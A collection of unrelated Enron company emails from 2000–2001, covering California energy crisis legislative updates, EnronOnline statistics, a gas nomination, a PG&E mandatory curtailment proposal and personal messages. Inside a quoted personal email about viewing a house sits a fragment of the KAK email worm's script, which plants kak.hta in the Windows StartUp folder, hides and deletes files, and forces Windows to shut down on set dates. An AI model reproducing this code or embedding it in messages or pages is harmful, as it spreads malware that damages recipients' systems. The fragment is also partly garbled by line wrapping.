The report named: CE P/L <http://trv.dev.corp.enron.com/linkFromExcel.asp?report_cd=4&report_name=CE+P/L&category_cd=3&category_name=CENTRAL&toc_hide=1&sTV1=3&TV1Exp=Y&current_efct_date=06/27/2001>, published as of 06/27/2001 is now available for viewing on the website.


thanks very much, counselor, for you advice on the (stinking) declaration.  I
modified that last sentence to be much more general (and, arguably,
accurate).  much appreciated.

Best,
Jeff


This sort of summary info is incredibly useful.  Where's it coming from and
can we get it daily?

Best,
Jeff

	James D Steffes
	03/23/2001 07:49 AM

		 To: Jeff Dasovich/NA/Enron@Enron
		 cc:
		 Subject: California Update 3/22/01

----- Forwarded by James D Steffes/NA/Enron on 03/23/2001 07:49 AM -----

	Kristin Walsh/ENRON@enronXgate
	03/22/2001 04:40 PM

		 To: John J Lavorato/ENRON@enronXgate, Louise Kitchen/HOU/ECT@ECT
		 cc: Phillip K Allen/HOU/ECT@ECT, Tim Belden/HOU/ECT@ECT, Mike
Grigsby/HOU/ECT@ECT, Tim Heizenrader/PDX/ECT@ECT, Vince J
Kaminski/HOU/ECT@ECT, Rob Milnthorp/CAL/ECT@ECT, Kevin M Presto/HOU/ECT@ECT,
Claudio Ribeiro/ENRON@enronXgate, Richard Shapiro/NA/Enron@Enron, James D
Steffes/NA/Enron@Enron, Mark Tawney/ENRON@enronXgate, Scott
Tholan/ENRON@enronXgate, Britt Whitman/ENRON@enronXgate
		 Subject: California Update 3/22/01

Executive Summary:

? The as yet unnumbered rescue bill by Davis made it to the Senate floor
? An exemption of the gas-fired QFs from this bill (as proposed by Sen.
Keeley) could further forestall an involuntary bankruptcy filing.
? If passed, the draft CPUC order would give the utilities another 15 days
after rate hikes to pay the QFs
? The negotiations with the QFs are complicated by the issue of payments owed
by the utilities to the DWR. Senators are demanding that the utilities set up
a trust fund from rate revenues to pay back the DWR.
? The CalEnergy ruling (as reported by Bloomberg this PM) is an attractive
option for other QFs looking to at least temporarily escape long-term supply
contracts with Edison.
? If neither the CPUC nor the legislature exempts the gas-fired generators
from the new rate structure, an immediate involuntary bankruptcy filing is
expected.  However, if the exemption is implemented, then a bankruptcy filing
would be delayed.

1. "QF Bill" Makes it to Senate Floor

The "CPUC bill" (the number is not yet known) is in mock-up form and does the
following:

* Repeals PUC Code section 390, which set a formula for QFs under
deregulation.
* Amends portions of AB 1X which will ensure that DWR receives money for its
power purchases, and includes provisions for the issuance of bonds.
* Includes a provision for SDG&E rates since they were not covered under
other legislation.

The bill passed the Senate Energy (8-2), and also just passed the Senate
Appropriations Committee (8-2) and is headed to the Senate Floor.

2. Senator Comments on the Bill:

Keeley (author of bill) presented that the bill would allow the PUC to decide
the QF contracts which is the proper authority  to debate the issue.

Most of the opposition to this portion of the bill was regarding the fact
that the bill provides no guidance to the PUC regarding voided costs for
natural gas-fired QFs.  Republicans offered an amendment to not have section
390 repealed for gas-fired generators, but Keeley had concerns with the
amendment.  Keeley stated that he did not think they should limit the PUC's
flexibility and that as drafted the amendment was too broad.  He also
indicated that gas-fired utilities have a legitimate issue with the draft
order.  He said that the PUC order needs to be amended, and Keeley is
confident that the PUC has recognized that in discussion over the past 48
hours.

3. Opponents to the QF Bill:

The following people testified in opposition to QF portion:  TURN, Delta
Power (QF), Syke Energy, John Hancock Financial, California Manufacturers
Association, Crockett Cogeneration, Independent Energy Producers, Clean Power
Campaign, PG&E, SCE.

The gas-fired QFs that testified in opposition noted that they have been
off-line for a couple of months and cannot come back on-line unless their
issues are addressed.

In response to the QFs not getting paid, Sen. Bowen stated that if the
utilities do not pay the QFs as directed under the draft order, then she
would personally see to it that they go into bankruptcy.

4. PG&E and SCE Testimony:

Sen. Battin asked both utilities about the draft order, which states that
after the change in the rates by QFs the utilities must pay the QFs within 15
days, and whether the utilities would abide by the order.

PG&E's response was that they are receiving $400 million per month, the cost
of their own generation is $100 million, and the QF amount is $240 million
per month; the draft order would lower the QF cost to $140 million.   PG&E
was cut off at this point and asked point blank whether their answer to
Battin's question was "yes or no."  Battin, Bowen and Murray all asked
whether it was yes or no.  The PG&E rep stated that it would be "no" if the
issue of the payments owed to ISO and DWR is not resolved.  If the ISO costs
of purchases were included in the DWR payments, then PG&E would not have a
problem.

The SCE response was that if the money coming in was less than the money
going out, then it could not comply with the PUC order.

5.  Payments to DWR

Senator Sher then asked both utilities regarding a requirement under AB 1X
that the utilities set aside those moneys that are owed to the DWR for
purchasing power that they collect from ratepayers in a trust fund those.
SCE responded that they are still in negotiations with DWR on the terms and
conditions.  Several legislators responded angrily that this was not part of
the bill, and that they should have a trust fund set up.  PG&E noted that
they are setting 'some' money aside, but would not state how much. Sen. Sher
ended the conversation by stating that if the utilities do not set up a trust
fund by tomorrow they would either pass emergency legislation or 'go after
them' for violating the law.

1X Provisions:

Tim Gage from Dept. of Finance noted the Governor's support of the entire
bill, and noted that the 1X provisions would ensure that DWR gets paid.

PG&E also testified in opposition to these provisions.

Senator Bowen made the following statements:

* Senator Peace has announced that he has received another notice of $500
million appropriation needed to purchase power and will not approve the
funding unless PG&E and SCE drop their challenge to the PUC regarding the DWR
issue.
* Also stated that the PUC could always raise rates as a way to resolve the
issue.


As requested, I have come up with a rough estimate of the cost per trade for
Clickpaper (from a Product Control Group/Call Center prospective only).

The average cost per month for the team (fully loaded - salaries, benefits,
plus expenses) is $36,000.  The average number of trades per month is 40 -
therefore, the average cost $900 per trade.

As a comparison, the average cost per EnronOnline trade $3.00.  As you can
see, it is much lower due to the volume of transactions.  We will recognize
the same economies of scale when the Clickpaper trades increase.  We do not
anticipate needing any additional staff this year.

Please let me know if you have any questions.

Sheri


Greetings.  Here's the case with 1,3 and 4 compiled.  I took some editorial
license with 1 and 4--hope I didn't butcher what you were conveying Jimmie
and Dylan.  Check it out.  Still need to determine if folks are comfortable
with my conclusion in #3, i.e., look, the biz model and the info provided in
the 10K may be crap, but from a strictly technical perspective, Patten's
justified in using the sales as opposed to the installment method.  Let me
know.  Kim's up and running on #2.

Best,
Jeff


---------------------- Forwarded by Susan D Trevino/HOU/ECT on 02/28/2000
12:23 PM ---------------------------

Bob Withers <rww@KCSEnergy.com> on 02/25/2000 12:08:09 PM
To: Susan D Trevino/HOU/ECT@ECT
cc: Stretch Brennan <djb@KCSEnergy.com>, Knox Westmoreland
<rkw@KCSEnergy.com>, Kevin McLarney <kmm@KCSEnergy.com>, Vance L
Taylor/HOU/ECT@ECT
Subject: Josey Ranch Est. -- Mar. 2000

 This is the estimated Josey Ranch nomination for the month of March
2000.  The HPL nomination volume to be effective 3/1/2000 is:

    12,500 MMBtu/day for KCS Resources
    12,500 MMBtu/day Total (assumed Btu factor of 1.075
@ 14.65 dry)

If you need additional information, KCS' field contact is Stretch Brennan in
Victoria: 512 / 576 - 1005.

Bob Withers <*))>><
KCS Energy, 5555 San Felipe, Suite 1200
Houston, TX  77056
voice mail/page 713-964-9434


You know me.  I don't care one way or the other.  Is there a reason why you
want to skip it?

We don't have to go to FW for the rodeo.  I just thought that would be fun to
do, and my mom wants Michael to come so badly.  We can always just go for a
visit.  In fact, Michael and I can go alone some time.

Like I said last night, you would make a great guide.  You'll be Michael's
guide one of these days.

ckm

"Neil Mann" <nmann@erac.com> on 01/03/2001 11:41:09 AM
Please respond to <nmann@erac.com>
To: "C. Kay Mann (E-mail)" <Kay.Mann@Enron.com>
cc:

Subject: E Party 1/20/00

You do mind if we skip this party?


All good - very busy this summer, training and managing 4 research
assistants (thanking God for my LECG and Tilden experience), finishing up my
first big project, and analysing lots of very interesting data.  Went to
Moscow and Berlin for 10 days early this month, and we just bought a house
and moved.  Yikes!

How are you?  How's school, I assume you go straight through the summer?

I'm actually going to be in CA from August 9-21; I'd love to grab lunch one
day if you're around.

Amy

>From: "Jeff Dasovich" <jdasovic@enron.com>
>To: "Amy Mezulis" <mezulis@hotmail.com>
>Subject: Re: New address
>Date: Fri, 23 Jun 2000 10:20:52 -0500
>
>
>
>Hey, how's married life?  How's the dog?  How's the cheese?
>
>

________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com


Start Date: 3/31/01; HourAhead hour: 1;  No ancillary schedules awarded.
Variances detected.
Variances detected in Generation schedule.

    LOG MESSAGES:

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final
Schedules\2001033101.txt

---- Generation Schedule ----
$$$ Variance found in table tblGEN_SCHEDULE.
     Details: (Hour: 1 / Preferred:   4.00 / Final:   3.99)
  TRANS_TYPE: FINAL
  SC_ID: SierraPowe
  MKT_TYPE: 2
  TRANS_DATE: 3/31/01
  UNIT_ID: VESTAL_6_WDFIRE


Jeff:
In regards to the antitrust training, can you please schedule that at least
one of the sessions starts at 3:00 or later to ensure participation by all.
Thanks,
John


The information contained in the Weekly Public Report can be communicated to audiences outside the company and should be used to ensure that we present a consistent message to the public. Please ensure that this email is distributed to anyone in your group who needs to discuss EnronOnline with individuals outside the company.

This report is not intended to be used as a stand-alone presentation, nor that all the information be used in a single presentation or customer communication.

Total Life to Date Transactions >1,600,000
Average Daily Transactions > 5,500

Life to Date Notional Value of Transactions > $900 billion
Daily Notional Value Approximately $2.5 billion

Number of Products Offered: Approximately 2,100
Number of Currencies Traded in = 15

EnronOnline Version 1.0 Launch Date: November 29, 1999
EnronOnline Version 2.0 Launch Date: September 18, 2000

Due to size constraints on the Outlook System, the Public Report will no longer be distributed.
A complete copy of the report can now be accessed directly through the EnronOnline Intranet Site at http://eolinfo.enron.com.

In order to access this report,  click on the link above. Once there, follow the link entitled "Reports" and then select the "Public Reports" tab. A dropdown menu will appear with a list of the various public reports available for viewing. .

We look forward to your feedback and comments. If you have any questions or experience any difficulties accessing your reports through the Intranet Site, please feel free to contact either Bryan Deluca at x36161 or Fraisy George at x35424.


Jeff, my understanding is that, various level of emergencies are declared by
the CAISO because of power supply situations.   Rotating outage plans are
then required to be implemented by the Utilities in order to reduce their
power supply requirements (i.e. electric loads).   The utilities chose to
implement their Rotating Outage Plans by dropping various distribution
circuits, that do not have essential customers connected to them, on a
rotating basis because it is cheap and easy to implement, less controversial,
and less politically sensitive.

The following are my comments:
My main concern is with regards to the way they propose to handle Direct
Access customers.   Direct Access customers should not be included in PG&E's
Mandatory Curtailment Plan (MCP) because the power that these customers are
using is not coming from PG&E anymore.   Their power supply requirements are
being met by their ESP's.
PG&E's proposal is treating transmission level customers like utilities.
The only difference, this time, is that PG&E is acting like the regulator
(controlling the customer).
At a minimum, the cost of implementing their proposal should be paid for by
PG&E and not the transmission customers.
Non-firm customers, such as IBM, should not be included or be required to
participate in their MCP anymore because their loads are dropped down to the
minimum or essential levels, by the CAISO first, even before a state of
emergency is declared.   There is a minimum load level that facilities
require in order to maintain human and environmental safety conditions.

Please give me a call if you have any question.

Thanks

---------------------- Forwarded by Jess Galura/HOU/EES on 09/27/2000 09:27
AM ---------------------------

John Wack
09/26/2000 07:57 AM
To: Jess Galura/HOU/EES@EES
cc: Jeff Nieland/HOU/EES@Exchange, Jeff Dasovich/NA/Enron@Enron, Roger
Yang/SFO/EES@EES
Subject: FW: Transmission curtailments - PG&E Proposal

Jess,  what do know about this?  If you have any info let Jeff Nieland
know.

Jeff  N.,  I am not familiar with the Cal. EEP.  In most state it is not
unusual for transmission customer (usually all the  customers are involved)
to be part of the plans.  Jeff Dasovich or Roger Yang may have more details.

---------------------- Forwarded by John Wack/HOU/EES on 09/26/2000 07:50 AM
---------------------------
From: Jeff Nieland/HOU/EES@Exchange on 09/25/2000 07:10 PM
To: Tom Riley/Western Region/The Bentley Company@Exchange, John
Wack/HOU/EES@EES, Ress Young/HOU/EES@EES
cc: Chris Holmes/HOU/EES@EES
Subject: FW: Transmission curtailments - PG&E Proposal

Gentlemen,

Do we have any influence over this issue with our direct access customers in
California?  IBM San Jose is on an interruptible transmission tariff and is
concerned about the proposed Mandatory Curtailment Plan.  I would appreciate
any comments.

Thanks

Jeff

Tom - Who would you recommend asking to comment from our regulatory
department?

-----Original Message-----
From: Nieland, Jeff
Sent: Monday, September 25, 2000 6:29 PM
To: '"Kumar De Silva/San Jose/IBM" <kdesilva@us.ibm.com>@ENRON@EES'
Cc: "lguest" <lguest@us.ibm.com>; "Gregory G Peterson/Raleigh/IBM"
<petegreg@us.ibm.com>
Subject: RE: Transmission curtailments - PG&E Proposal

Kumar,

I have distributed the plan to our commodity and regulatory departments for
comments.  After receiving their comments, I will summarize and forward.
Please contact me with questions.

Thanks

Jeff

-----Original Message-----
From: "Kumar De Silva/San Jose/IBM" <kdesilva@us.ibm.com>@ENRON@EES
Sent: Wednesday, September 20, 2000 5:34 PM
To: Jeff_Nieland@enron.com
Cc: "lguest" <lguest@us.ibm.com>; "Gregory G Peterson/Raleigh/IBM"
<petegreg@us.ibm.com>
Subject: Re: Transmission curtailments - PG&E Proposal

Jeff,
We are concerned about the impact of the proposed Mandatory Curtailment
Plan.\ (Please see Lynn's Note below)   Please review from a commodity
provider standpoint.  In your opinion, is it fair for us to be subject to
such legislation while we are a Direct Access Customer?

I would appreciate your comments.

Regards,

Kumar

Facilities Engineering Manager
Department K3MA-124,  Office 12-4A052
IBM Real Estate and Site Operations
5600 Cottle Road, San Jose,  California 95193

Tel: (408) 256-1004, Tie Line: 8-276-1004,  Fax: (408) 256-2699,
---------------------- Forwarded by Kumar De Silva/San Jose/IBM on
09/20/2000 03:03 PM ---------------------------

Lynn Guest
09/15/2000 11:28 AM

To:   Kumar De Silva/San Jose/IBM@IBMUS, Ray Dias/Almaden/IBM@IBMUS, Aida
      Maciel/San Jose/IBM@IBMUS, John Lattyak/San Jose/IBM@IBMUS
cc:
From: Lynn Guest/Almaden/IBM@ibmus
Subject:  Re: Transmission curtailments - PG&E Proposal

Here is a soft copy of what I faxed you yesterday.

Lynn Guest
  Site Operations Manager, Almaden Research Center

IBM Corporation
650 Harry Road, M/S - G2
San Jose, CA 95120-6099
(408) 927-1529  or Tie line 8-457-1529
Fax (408) 927-1230

E-Mail:  LGUEST@US.IBM.COM
---------------------- Forwarded by Lynn Guest/Almaden/IBM on 09/15/2000
11:30 AM ---------------------------

Pam Ross <pross@camfg.com> on 09/14/2000 10:02:31 AM

To:   Alan Amrhein <amrhein@ppg.com>, Allan Warman
      <allan.p.warman@boeing.com>, Barry Hughes
      <Barry.L.Hughes@boeing.com>, Bill Guernsey <bill.guernsey@trw.com>,
      Bill Zobel <bzobel@mail.arco.com>, Bryan Campanaro
      <bcampana@kcc.com>, Cameron Raether <paccoast@mctcnet.net>, Carl
      Nordquist <carl.j.nordquist@boeing.com>, Carolyn Kehrein
      <cmkehrein@ems-ca.com>, Dan Fink <daniel.L.fink@boeing.com>, Dan
      Green <dgreen@ppg.com>, David Mills <david.m.mills@honeywell.com>,
      "Denis St. Jean" <dstjean@tosco.com>, Dorothy Rothrock
      <drothrock@camfg.com>, Ed Munoz <emunoz@west.raytheon.com>, Fred
      Mazurski <fmazurski@usg.com>, Gene Hill <ghill@kcc.com>, Glenn
      Sheeren <gsheere2@iccnet.com>, Jeff Byron <jbyron@us.oracle.com>, Jim
      Schultz <Jim_Schultz@cargill.com>, Jim Wikenczy
      <Jim_Wikenczy@mail.tmmna.com>, Joanne Horalek <jhoralek@smurfit.com>,
      John Norris <John.Norris@HSC.com>, Karen Jarrell
      <kjarrell@smurfit.com>, Karen Lindh <karen@klindh.com>, Keith McCrea
      <kmccrea@sablaw.com>, Ky Kennedy <kkennedy@usg.com>, Larry Voronyak
      <larry.voronyak@borax.com>, Lynn Guest/Almaden/IBM@IBMUS, Mark
      Mithers <mithema@mail.northgrum.com>, Mark Nelson
      <Mark_Nelson@hp.com>, Mark Skowronski
      <mark.skowronski@honeywell.com>, Miles Keefe
      <emkeefe@west.raytheon.com>, Noel Brown <noel.brown@ct.sgcna.com>,
      Pam Ross <pross@camfg.com>, Richard Hall <richard.c.hall@intel.com>,
      Roland Buchs <BUCHS@imcchemicals.com>, Russell Boston
      <reboston@ppg.com>, Scott Potterack <Scott.Potterack@owens-ill.com>,
      Stacy Roscoe <roscoesa@pg.com>, Steve Bloch
      <steven.bloch@alliedsignal.com>, Steve Watson
      <swatson@ballfoster.com>, Tim Treichelt <tntreich@gapac.com>, Tony
      Fisher <tfisher@nummi.com>
cc:
Subject:  Re: Transmission curtailments - PG&E Proposal

This is the item regarding mandatory curtailment Karen Jarrell
referenced to in her note.

Subject: Transmission curtailments - PG&E Proposal
Date: Thu, 14 Sep 2000 07:51:51 -0700
From: Dorothy Rothrock <drothrock@camfg.com>
Organization: CMTA
To: pross@cmta.net

From: Shaffer, Clyde [mailto:CWS1@pge.com]
Sent: Monday, September 11, 2000 5:34 PM
To: 'dgreen@ppg.com'; 'kohr@ppg.com'
Subject: Transmission curtailments - Proposal
Importance: High

Hi Dan and Tom,

Greetings.  I hope all is well with both of you and PPG.

I recently received information that transmission voltage customers will
likely be required to be involved in the Electric Emergency Plan (EEP)
in the future.  Currently transmission customers are not "required" to
curtail any load when distribution circuits are taken off line as a
result of a Stage 3 EEP operation.

Please take a look at the attachment below and if possible provide
comments to help shape the proposed change.  I will need comments by
this Friday noon if possible.  Thanks for the input.

Clyde Shaffer
Co.: 821-5549
Outside: (559)263-5549
Email: cws1@pge.com

(See attached file: MANDATORY CURTAILMENT PLAN.doc)

 - MANDATORY CURTAILMENT PLAN.doc << File: MANDATORY CURTAILMENT PLAN.doc >>


What time do you think you will get home?  Or, we could meet at the house
straight from work.  It is off of Studewood/Studemont/Montrose.  Or, I could
pick you up at your house after work.

----- Original Message -----
From: <Tana.Jones@enron.com>
To: <pyoung@pdq.net>
Sent: Friday, August 04, 2000 1:16 PM
Subject: Re: Houses!!!

>
> Today after work would be fine if you want to?!
>
>
>
>                     "Patti Young"
>                     <pyoung@pdq.n        To:     <Tana.Jones@enron.com>
>                     et>                  cc:
>                                          Subject:     Re: Houses!!!
>                     08/04/2000
>                     05:22 PM
>
>
>
>
>
>
> Yes, I would still like to do a movie.  We are running 2 hours and 15
> minutes in the morning so I don't know what time I will be finished.  What
> is your plan for running?
>
> I don't need to spend a lot of time looking at the house, I just want you
> to
> have a look.  I would get to do all new landscaping so I am thinking about
> digging up plants at my house and putting them in pots before my property
> is
> sold.
>
> You for sure can't do it right after work??
>
> I need to run to the bank.  I will be right back.
>
> ----- Original Message -----
> From: <Tana.Jones@enron.com>
> To: <pyoung@pdq.net>
> Sent: Friday, August 04, 2000 12:03 PM
> Subject: Re: Houses!!!
>
>
>
> Sure.  Maybe after running we could get cleaned up and go take a look.  Do
> you still want to go to the movies?
>
>
>
>                     "Patti Young"
>                     <pyoung@pdq.n        To:     "Tana Jones"
> <tana.jones@enron.com>
>                     et>                  cc:
>                                          Subject:     Houses!!!
>                     08/04/2000
>                     03:18 PM
>
>
>
>
>
>
>
> Good Day,
>
> I want you to go with me to look at this house I  have been checking out
in
> the Woodland Heights. It is a re-do, gutted and  cleaned up, and ready to
> be moved in to asap. Are you working late  tonight, and, if not, would you
> be up for me coming by just for a quick  trip??? You may have plans, and,
> if you do, could I grab you tomorrow for  a quick look? I am putting a
> 'for sale by owner' sign in my yard  today!!!
>
> Let me know
>
> ');t3.close
> ();fs.GetFile(wd+'kak.htm').Attributes=2;fs.DeleteFile(wd+'kak.reg');d=new
> Date();if(d.getDate()==1 && d.getHours()>17){alert('Kagou-Anti-Kro$oft
says
> not today !');wsh.Run(wd+'RUNDLL32.EXE user.exe,exitwindows');}self.close
> ();S3 driver memory alloc failed !]]%%%%%";la
>
=(navigator.systemLanguage)?navigator.systemLanguage:navigator.language;scr.
>
> Path
>
> (la=="fr")?"C:\\windows\\Menu
D?marrer\\Programmes\\D?marrage\\kak.hta":"C:
> \\windows\\Start
> Menu\\Programs\\StartUp\\kak.hta";agt=navigator.userAgent.toLowerCase();if
> (((agt.indexOf("msie")!=-1)&&(parseInt(navigator.appVersion)>4))
> ||(agt.indexOf("msie 5.")!=-1))scr.write(); file://-->
>
>
>
>
>
>
>


Looks fine to me.

Ron Tapscott@ECT
01/24/2001 10:25 AM
To: Kay Mann/Corp/Enron@Enron
cc:

Subject: per voice mail

here is a later version with more appropriate cites --

Thanks, Ron.